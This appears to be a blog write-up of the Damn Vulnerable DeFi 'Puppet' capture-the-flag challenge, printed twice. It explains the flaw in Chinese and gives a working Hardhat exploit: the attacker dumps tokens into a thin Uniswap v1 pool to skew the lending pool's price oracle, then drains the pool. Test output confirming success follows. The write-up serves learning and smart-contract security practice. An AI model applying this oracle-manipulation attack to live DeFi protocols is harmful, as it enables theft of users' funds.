web3maxi
web3maxi
Subscribe to Runstar
Subscribe to Runstar
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.
目标: 从借贷池中偷走所有token
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker has taken all tokens from the pool
expect(await this.token.balanceOf(this.lendingPool.address)).to.be.eq("0");
expect(await this.token.balanceOf(attacker.address)).to.be.gt(POOL_INITIAL_TOKEN_BALANCE);
});
PuppetPool.sol 2倍超额抵押借贷池合约
borrow 借款函数
check 抵押金额为借款额的两倍
返还多余金额
借走DVT token
calculateDepositRequired 计算额定两倍抵押 _computeOraclePrice 将uniswap池中的价格作为预言机
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
const UNISWAP_INITIAL_TOKEN_RESERVE = ethers.utils.parseEther("10");
const UNISWAP_INITIAL_ETH_RESERVE = ethers.utils.parseEther("10");
const ATTACKER_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("1000");
const ATTACKER_INITIAL_ETH_BALANCE = ethers.utils.parseEther("25");
const POOL_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("100000");
借贷池预言机来自于uniswap, 由于我们拥有25ETH, 1000DVT, uniswap池中只有10ETH, 10DVT流动性过低, 因此可以轻易操控uniswap池中币对价格,从而轻易贷出DVT token
卖出所有DVT砸盘拉低token价格
此时由于DVT价格过低, 通过借贷池超额抵押直接换出所有DVT token(不需要还款)
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token
.connect(attacker)
.approve(this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE);
await this.uniswapExchange
.connect(attacker)
.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE.sub(10),
1,
(await ethers.provider.getBlock("latest")).timestamp * 2,
);
const collateral = await this.lendingPool.calculateDepositRequired(
POOL_INITIAL_TOKEN_BALANCE,
);
console.log(collateral);
await this.lendingPool
.connect(attacker)
.borrow(POOL_INITIAL_TOKEN_BALANCE, { value: collateral });
});
运行通过
❯ yarn run puppet
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/puppet/puppet.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/puppet/puppet.challenge.js
[Challenge] Puppet
BigNumber { _hex: '0x0110e5bbd907e9d0c0', _isBigNumber: true }
✓ Exploit (111ms)
1 passing (2s)
Done in 4.18s.
Twitter: @0xRunstar
There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.
目标: 从借贷池中偷走所有token
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker has taken all tokens from the pool
expect(await this.token.balanceOf(this.lendingPool.address)).to.be.eq("0");
expect(await this.token.balanceOf(attacker.address)).to.be.gt(POOL_INITIAL_TOKEN_BALANCE);
});
PuppetPool.sol 2倍超额抵押借贷池合约
borrow 借款函数
check 抵押金额为借款额的两倍
返还多余金额
借走DVT token
calculateDepositRequired 计算额定两倍抵押 _computeOraclePrice 将uniswap池中的价格作为预言机
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
const UNISWAP_INITIAL_TOKEN_RESERVE = ethers.utils.parseEther("10");
const UNISWAP_INITIAL_ETH_RESERVE = ethers.utils.parseEther("10");
const ATTACKER_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("1000");
const ATTACKER_INITIAL_ETH_BALANCE = ethers.utils.parseEther("25");
const POOL_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("100000");
借贷池预言机来自于uniswap, 由于我们拥有25ETH, 1000DVT, uniswap池中只有10ETH, 10DVT流动性过低, 因此可以轻易操控uniswap池中币对价格,从而轻易贷出DVT token
卖出所有DVT砸盘拉低token价格
此时由于DVT价格过低, 通过借贷池超额抵押直接换出所有DVT token(不需要还款)
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token
.connect(attacker)
.approve(this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE);
await this.uniswapExchange
.connect(attacker)
.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE.sub(10),
1,
(await ethers.provider.getBlock("latest")).timestamp * 2,
);
const collateral = await this.lendingPool.calculateDepositRequired(
POOL_INITIAL_TOKEN_BALANCE,
);
console.log(collateral);
await this.lendingPool
.connect(attacker)
.borrow(POOL_INITIAL_TOKEN_BALANCE, { value: collateral });
});
运行通过
❯ yarn run puppet
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/puppet/puppet.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/puppet/puppet.challenge.js
[Challenge] Puppet
BigNumber { _hex: '0x0110e5bbd907e9d0c0', _isBigNumber: true }
✓ Exploit (111ms)
1 passing (2s)
Done in 4.18s.
Twitter: @0xRunstar
No activity yet